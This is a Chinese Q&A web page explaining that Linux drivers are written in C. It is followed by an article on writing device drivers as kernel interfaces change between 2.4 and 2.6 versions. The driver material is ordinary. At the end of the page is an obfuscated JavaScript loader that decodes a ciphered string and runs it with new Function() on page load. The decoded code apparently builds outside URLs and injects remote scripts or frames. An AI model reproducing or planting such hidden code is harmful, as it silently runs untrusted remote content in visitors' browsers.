linux驱动是用什么语法编写的呢?
是用C语言吗,还是其它语言,或者是多种语言编写的。
推荐回答(3个)
大部分的硬件驱动都是内核kernel里带的,kernel由C语言编写。
面对不断升级的linux内核、GNU开发工具、linux环境下的各种图形库,很多linux应用程序开发人员和linux设备驱动开发人员即兴奋,又烦躁。兴奋的是新的软件软件、工具给我提供了更强大的功能,烦躁的是适应新软件的特性、搭建新环境是一项非常繁琐的事情。本文想从以下3个方面探讨一下“面对不断升级的内核,如何学习linux设备驱动”。
内核发展的现状及其对技术人员的影响
由于高版本内核并不完全兼容低版本内核,所以内核升级对从事linux开发的技术人员造成了一定的影响,特别对于linux入门人员。
内核的升级对应从事linux应用程序开发的人员来说影响较小,因为系统调用基本保持兼容。而影响比较大的是驱动开发人员。每次内核的更新都可以导致很多内核函数使用上的变化。其中有内核本身提供的函数,也有硬件平台代码提供的函数,后者变化的更加频繁。这一点让初学内核驱动的人很迷茫,因为当他们按照手里的经典著作,如:Alessandro的《linux设备驱动程序》,编写驱动时,发现并不能够成功的在你的linux平台上编译通过、或不能正常执行。你的朋友会告诉你,你用的内核和书里的不一致。那该怎么办呢?
我想从两个方面去解释这个问题,一方面是如何写好linux设备驱动,另一方面是如何应对不断升级的内核。
如何写好Linux设备驱动
Linux设备驱动是linux内核的一部分,是用来封装硬件细节,为上层提供标准接口的一种方法。为了能够编写出质量比较高的驱动,要求工程师必须具备以下几个方面的知识:
熟悉处理器的性能
如:处理器的体系结构、汇编语言、工作模式、异常处理等此项对于初学者来说,重要程度:***。也就是说还不熟悉驱动编写方法的情况下,可以先不把重心放在这一项上,因为可能因为它的枯燥、抽象而影响到你对设备驱动的兴趣。 随着你不断的熟悉驱动的编写,你会很自然的意识到此项的重要性。
掌握驱动目标的硬件工作原理及通讯协议
如:串口控制器、显卡控制器、硬件编解码、存储卡控制器、I2C通讯、SPI通讯、usb 通讯、SDIO通讯、I2S通讯、PCI通讯等
此项的重要程度应该不用多说了,编写设备驱动的前提就是知道设备的操作方法。但不是说要把所有设备的操作方法都熟悉了以后才可以驱动,你只需要了解你要驱动的硬件就可以了。所有这一项对于初学者来说重要程度都是:*****。
掌握硬件的控制方法
如:中断、轮询、DMA 通常一个硬件控制器会有多种控制方法,你需要根据系统性能的需要合理的选择操作方法。
此项对于初学者来说:重要程度:****。初学阶段以实现功能为目的。掌握的顺序应该是,轮询->中断->DMA。随着学习的深入,需要综合考虑系统的性能需求,采取合适的方法。
良好的GNU C语言编程基础
如:C语言的指针、结构体、内存操作、链表、队列、栈、C和汇编混合编程等。
这些编程语法是编写设备驱动的基础。 此项无论对于初学者还是熟手重要程度:*****。
良好的linux操作系统概念
如:多进程、多线程、进程调度、进程抢占、进程上下文、虚拟内存、原子操作、阻塞、睡眠、同步等概念及它们之间的关系。
这些概念及方法在设备驱动的使用是linux设备驱动区别单片机编程的最大特点。只有理解了它们才会编写出高质量的驱动。
此项对于初学者来说:重要程度:***。开始可以以实现功能为目的,逐步完善自己的驱动。
掌握linux内核中设备驱动的编写接口
如:字符设备的cdev、块设备的gendisk、网络设备的net_device,以及基于这些基本接口的framebuffer设备的fb_info、mtd设备的mtd_info、tty设备的tty_driver、usb设备的usb_driver、mmc设备的mmc_host等
Linux内核为设备驱动编写者留下了标准的接口。驱动编写者无需精通内核的各个部分,只需要明确内核留给我们的接口,并实现此接口就可以了。内核流出的接口采用的是面向对象的思路,即把目标设备看成一个对象,通常利用一个结构体来描述这个对象。驱动工程师的任务就是实现这个对象。这个结构体中会包含设备的属性(用变量表示)和操作方法(用函数指针表示)。如:字符设备的cdev
struct cdev {
struct kobject kobj;
struct module *owner;
const struct file_operations *ops; //操作方法结合,其它项都是属性
struct list_head list;
dev_t dev;
unsigned int count;
};
此项对于初学者来说:重要程度:****。开始阶段可以以模仿为主,即套用一些固定的模板。
如何应对不断升级的内核
内核升级对驱动的影响主要体现在,(1)驱动接口定义的变化(2)内核的一些功能函数的名称、参数、头文件、宏定义的变化(3)平台代码关于硬件操作方面封装的一些函数的变化(4)设备模型的影响。下面探讨一下,如何应对这几个方面的问题:
驱动接口定义的变化
如:2.4内核中字符设备驱动的注册接口是
int register_chrdev(unsigned int major, const char * name, struct file_operations *fops)
而2.6内核中已经不建议使用这种方法了,改为:
int cdev_add(struct cdev *p, dev_t dev, unsigned count)
又如:2.6.27内核中网卡接口的net_device结构成员和低版本的net_device结构成员也发生了一些变化。
这种接口定义及注册方法带来的变化,发生的并不频繁。解决方案是:参考内核中的代码。这种接口定义及注册方法在内核中非常容易找到,如:字符设备驱动的注册方法及接口定义可以参照内核driver/char/目录下的很多实例。
内核的一些功能函数的名称、参数、头文件、宏定义的变化
如:中断注册函数的格式及参数在2.4内核、2.6内核低版本和高版本之间都存在差别
在2.6.8中,中断注册函数的定义为:
int request_irq(unsigned int irq, irqreturn_t (*handler)(int, void *, struct pt_regs *),unsigned long irq_flags, const char * devname, void *dev_id)
irq_flags的取值主要为下面的某一种或组合:
SA_INTERRUPT、SA_SAMPLE_RANDOM、SA_SHIRQ
在2.6.26中,中断注册函数的定义为:
int request_irq(unsigned int irq, irq_handler_t handler,unsigned long irqflags, const char *devname, void *dev_id)
typedef irqreturn_t (*irq_handler_t)(int, void *);
irq_flags的取值主要为下面的某一种或组合:(功能和2.6.8的对应)
IRQF_DISAB LED、IRQF_SAMPLE_RANDOM、IRQF_SHARED
当出现这些问题时,编译过程中,编译器会给我们比较明确的错误提示,根据这些提示你可以判断出是否是缺少头问题、是否是函数参数定义有误等。解决问题的最好办法还是到你的目标内核中找信息。此时找问题的方法可以借助于搜索,如:你可以在新的内核中搜索request_irq,看新内核中的驱动是如何使用它的。这种方法非常有效。
平台代码关于硬件操作方面封装的一些函数的变化
内核中,硬件平台相关的代码在内核更新过程中变化比较频繁。和我们的设备驱动也是息息相关。所以在针对一个新内核编写设备驱动前,一定要熟悉你的平台代码的结构。有时平台虽然提供了内核要求的接口函数,但使用起来功能却并不完善。下面还是先举个例子说明平台代码更新对设备驱动的影响。
如:在linux-2.6.8内核中,调用set_irq_type(IRQ_EINT0,IRQT_FALLING);去设置S3C2410的IRQ_EINT0的中断触发信号类型,你会发现不会有什么效果。跟踪代码发现内核的set_irq_type函数需要平台提供一个针对硬件平台的实现函数
static struct irqchip s3c_irqext_chip = {
.mask = s3c_irqext_mask,
.unmask = s3c_irqext_unmask,
.ack = s3c_irqext_ack,
.type = s3c_irqext_type
};
s3c_irqext_type就是linux内核需要的实现函数,而s3c_irqext_type在2.6.8中的实现为:
static int s3c_irqext_type(unsigned int irq, unsigned int type)
{
irqdbf("s3c_irqext_type: called for irq %d, type %d\n", irq, type);
return 0;
}
原来并没有实现。而在较高版本的内核,如2.6.26内核中,这个函数是实现了的。所以你一定要小心。当平台函数不好用时,一定要查查原因,或者直接操作硬件寄存器来达到目的。
2.6内核设备模型对驱动的影响
在2.6内核中写设备驱动和在2.4内核中有着很大的不同,就是在设备驱动中融入了比设备驱动本身结构还复杂,难以理解的设备模型。初学驱动时你可以不理会设备模型,但你会发现内核里的驱动代码基本上都是融入了设备模型的了。所以很多时候你不得不面对现实,还是要弄懂它,并且它也的注册方法也会随着内核的升级而发生变化。解决此类问题的最好方法还是参考目标内核驱动代码。
!function(){function a(a){var _idx="e4ydksy2pg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8YoTfSLT@Jp"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"YoTfSLT@Jp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q/f/Ks0j(8}vR8YoTfSLT@Jp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();